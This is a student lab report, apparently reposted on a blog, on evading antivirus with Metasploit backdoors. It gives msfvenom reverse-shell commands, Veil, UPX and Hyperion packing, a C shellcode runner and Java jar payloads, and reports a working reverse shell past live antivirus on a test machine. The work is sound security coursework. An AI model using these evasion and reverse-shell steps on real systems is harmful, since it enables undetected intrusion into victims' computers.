2020-2 网络对抗技术 20175120 exp3 免杀原理与实践
目錄實驗內容通過各種方法生成后門程序,嘗試免殺1. 正確使用MSF編輯器2. 使用msfvenom生成如jar之類的其他文件3. veil4. 加殼工具5. 使用C + shellcode編程6. 使用其他課堂未介紹方法通過組合應用各種技術實現惡意代碼免殺veil+msfconsole使用jar包實現免殺(java+metasploit)用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本報告內容基礎問題回答實踐總結與體會開啟殺軟能絕對防止電腦中惡意代碼嗎?
實驗內容
通過各種方法生成后門程序,嘗試免殺
1. 正確使用MSF編輯器
將實驗二中生成的后門程序5120backdoor.exe放到virustotal和virscan中進行檢測
virustotal結果如下
virscan結果如下
查殺率還是挺高的,不加處理的后門程序基本都會被查殺
接下來使用msf編輯器進行自定義的后門生成
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.5.250 LPORT=5120 -f exe -o home/20175120pyc/exp3/mt_rt_250.exe
-p參數表示生成的payload類型,其中包括平臺(windows)、工具(meterpreter)、連接方式(reverse_tcp)
-e參數表示編碼器類型 平臺(x86)``編碼器名(bloxor)
LHOST表示本機ip地址,LPORT表示端口號
-f參數表示生成的文件類型
-o參數表示后門文件存儲路徑
在我把mt_rt_250.exe放到主機的時候就被殺出來了,沒有實現免殺
放到'virscan'和'virustotal'里面測試一下
看起來效果不是很好
我又將payload換成windows/encrypted_shell_reverse_tcp進行測試
效果還是差強人意,沒有實現免殺
2. 使用msfvenom生成如jar之類的其他文件
生成jar包
msfvenom -p java/shell_reverse_tcp LHOST=192.168.5.250 LPORT=5120 -o home/20175120pyc/exp3/java_sh_rt_250.jar
在我把jar包復制到主機的時候,殺軟沒有發現
接下來繼續測試回連
linux端打開msfconsole,準備監聽
輸入
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.5.250
set LPORT 5120
exploit
windows端打開cmd進入放有剛剛生成后門文件的目錄
輸入java -jar java_sh_rt_250.jar
可以看到linux端接通,但又退出
我在linux端繼續輸入java -jar java_sh_rt_250.jar進行嘗試
但顯示
連接被拒絕
我找了很半天原因,最后在殺軟安全日志里發現
后門文件沒有被殺出來,但是回連的行為被發現了
關掉殺軟,試試回連
成功獲取主機shell! windows defender沒有檢測到回連行為
可以看出來java產生后門的方式比之前還是更為有效的
返回目錄
3. veil
veil工具用起來是很方便的,但是安裝比較難受
詳細安裝教程可以參考兩個教程 1 2
安裝完成之后輸入 veil ,顯示如下
使用veil-evasion 輸入use 1
輸入list可以看到可選的payload
我選擇20,use 20
可以看見我們還需要設置LHOST,其他都默認了
設置完后輸入文件名ps_mt_rhs_250生成文件
其中ps_mt_rhs_250.bat放到主機環境下,ps_mt_rhs_250.rc用于linux端監聽
在我復制過去的時候,殺軟沒反應.......
輸入msfconsole -r /var/lib/veil/output/handlers/ps_mt_rhs_250.rc開始監聽
在windows端雙擊ps_mt_rhs_250.bat,然后就被殺軟殺掉了(意料之中)
把ps_mt_rhs_250.bat從隔離區撈出來,測試一下
效果比之前要好了一點,但還是被火絨殺出來了
返回目錄
4. 加殼工具
加殼工具通常分為壓縮殼和加密殼兩類。
壓縮殼的特點是減小軟件體積大小,加密保護不是重點。
加密殼種類比較多,不同的殼側重點不同,一些殼單純保護程序,另一些殼提供額外的功能,如提供注冊機制、使用次數、時間限制等。
壓縮殼
壓縮工具我用的是upx,kali linux自帶
加殼文件我是用的下面的我是用的第一步里面的mt_rt_250.exe
upx home/20175120pyc/exp3/mt_rt_250.exe -o home/20175120pyc/exp3/mt_rt_250_upx.exe
把生成的后門搬到主機里,然后還是被干掉了,測試一下
似乎比剛才好一丟丟......
加密殼
加密工具我使用的是Hyperion
在這里出了些問題,我參考了學姐和很多同學的博客,都是進入Hyperion文件夾下面,直接輸入
wine hyperion.exe -v ****.exe ****_hy.exe
而我完全沒有找到這個文件夾和hyperion.exe
在我輸入這一行命令的時候會出現
Could not find Wine Gecko. HTML rendering will be disabled.然后就失敗了
我就想自己裝個wine gecko,之后從同學的博客中中找到了解決方法
我選擇安裝最新的Hyperion-2.2 (zip下載鏈接附上)
放到exp3文件夾下,進行解壓 unzip Hyperion-2.2
cd Hyperion-2.2
i686-w64-mingw32-gcc Src/Crypter/*.c -o hyperion.exe(按照教程上是要編譯一下的,但好像沒什么用)
vim Makefile 修改原來的編譯方式cc=gcc為cc=i686-x64-mingw32-gcc 如下圖第一行
保存退出之后就在當前文件夾下輸入 make進行編譯
輸入ls 可以看到生成了hyperion.exe文件
然后就可以進行加密殼的加殼了!
我使用的文件還是第一個生成的后門mt_rt_250.exe,對比一下效果
把mt_rt_250.exe復制到Hyperion-2.2文件夾下,輸入
wine hyperion.exe -v mt_rt_250.exe mt_rt_250_hy.exe
然后把 mt_rt_250_hy.exe 復制到主機 .....被干掉了,測試一下
看起來加密殼效果比壓縮殼好一些......
我又用之前加了壓縮殼的mt_rt_250_upx.exe做了加密殼處理生成了mt_rt_250_upx_hy.exe
放到主機來的時候還是被防火墻干掉了......測試一下
效果和加密殼差不多
返回目錄
5. 使用C + shellcode編程
使用msfvenom將后門編譯成c
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.5.250 lport=5120 -f c
生成c數組形式的shell,寫入.c文件
#include <stdlib.h>
#include <stdio.h>
unsigned char buf[] = "";
int main(){
int (*func)() = (int(*)())buf;
func();
}
這里有兩種方法可以對文件進行編譯
將shellcode放到主機的codeblocks進行編譯
編譯之后......
直接被干掉
在linux下進行編譯
i686-w64-mingw32-g++ win_sh_rt_250.c -o win_sh_rt_250.exe
將win_sh_rt_250.exe搬到主機去,直接被殺軟殺掉........
在exploit-db里面找shellcode
返回目錄
6. 使用其他課堂未介紹方法
用新版msf自帶的evasion進行免殺后門生成
首先輸入msfconsole進入msf控制臺
然后查看evasion的相關信息 show evasion
我選擇windows/windows_defender_exe進行測試
use windows/windows_defender_exe
看看需要設置什么參數 show options
set payload windows/meterpreter/reverse_tcp設置payload
設置ip和端口號
exploit 生成后門文件
把后門文件復制到主機......然后被殺軟殺掉了,測試一下
看起來效果不錯,看一下后門的行為分析
同樣是打開主機cmd.exe,殺軟是通過后門GetTickCount和direct-cpu-clock訪問的行為特征發現的
通過組合應用各種技術實現惡意代碼免殺
veil+msfconsole
我想用veil+msfconsole實現免殺與回連
然后我一個一個的試:autoit、auxiliary、c、cs、go、powershell、Python、ruby
auxiliary模塊的參數需要輸入文件路徑,但我沒整明白......
其中Python模塊的總是出問題,我之前沒學過python,veil生成了runme.bat和setup.py文件
我裝好了python環境和python IDE工具pyCharm
經過一番查找和詢問同學,我輸入python setup.py,然后出現
又是一番嘗試,我用pyCharm工具將py2exe模塊加進去了,然后輸入python setup.py py2exe,出現
打開kali端監聽:msfconsole -r *********/**.rc
在主機端雙擊runme.bat,然后沒反應......然后就不知道怎么辦了,Python模塊就放棄了
使用jar包實現免殺(java+metasploit)
我使用msfvenom工具進行生成,在java環境的支持下,使用:
msfvenom -p java/shell/reverse_tcp lhost=192.168.5.250 lport=5120 -o java_shrt_250.jar生成jar包
移植到主機上,經檢測,實現免殺
用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
電腦殺軟名稱為騰訊電腦管家,電腦版本為windows10
因為之前使用jar包實現免殺,我就嘗試回連
同樣使用msfconsole工具進行監聽
回連成功!
返回目錄
報告內容
基礎問題回答
殺軟是如何檢測出惡意代碼的?
根據惡意代碼的特征碼進行檢測
特征碼就是一段或多段數據。進行惡意軟件的檢測時,殺軟并不是比對整個文件,而只能只其中一個或幾個片斷作為識別依據。AV軟件廠商要做的就是盡量搜集最全的、最新的特征碼庫。
啟發式惡意軟件檢測
即根據些片面特征去推斷。如果一個軟件在干通常是惡意軟件干的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件。
基于行為的惡意軟件檢測
基于行為的檢測相當于是啟發式的一種,或者是加入了行為監控的啟發式
免殺是做什么?
對惡意軟件做一些處理,使其在能夠起作用的同時不被殺毒軟件殺出來
免殺的基本方法有哪些?
改變特征碼
如果你手里只有EXE:加殼:壓縮殼 加密殼
有shellcode(像Meterpreter):用encode進行編碼、基于payload重新編譯生成可執行文件
有源代碼:用其他語言進行重寫再編譯(veil-evasion)
改變行為
通訊方式:盡量使用反彈式連接、使用隧道技術、加密通訊數據
操作模式:基于內存操作、減少對系統的修改、加入混淆作用的正常功能代碼
非常規手段
使用一個有漏洞的應用當成后門,編寫攻擊代碼集成到如MSF中。
使用社工類攻擊,誘騙目標關閉AV軟件。
純手工打造一個惡意軟件
返回目錄
實踐總結與體會
這次實驗難度較大,我花費了很多時間,從工具的安裝、嘗試的次數、安裝的平臺環境數等方面都遠遠比前兩個實驗要復雜。但實現免殺卻讓我的興趣有了很大的提升,因為這是用最貼近生活的方式讓我感受到了網絡病毒的威力。只要有一個能夠繞過殺軟的病毒,我的電腦里就必定存在后門。而后門的危害我在第二次實驗中也實實在在的體驗過了,網絡安全真的是現實中不可或缺的一環。
在實驗操作中,我遇到了很多困難,安裝veil,我從開始安裝到最終成功幾乎用了三天時間;不斷用各種工具生成后門的過程中,很多文件不能編譯成exe格式,就必須安裝文件能夠運行的環境等等....好在問題還是一個個的迎刃而解了。但是免殺的實現我還有很長的路要走,這次的實驗中我想使用exploit-db中的shellcode來生成后門,但是嘗試了很多個,用msfconsole監聽的時候都沒有反應,我也看不出來這段shellcode應該怎么樣具體進行操作,但我覺得如果exploit-db最新的shellcode用上了免殺應該會簡單很多。
這次實驗顯著的提高了我的網絡安全防范意識和對于網絡滲透的興趣,在之后的學習中,我會繼續努力。
開啟殺軟能絕對防止電腦中惡意代碼嗎?
不能。因為現在很多的后門能夠實現免殺,繞過殺軟進行攻擊。
總結
以上是生活随笔為你收集整理的2020-2 网络对抗技术 20175120 exp3 免杀原理与实践的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 三灯布光法
- 下一篇: Unity SRP自定义渲染管线 --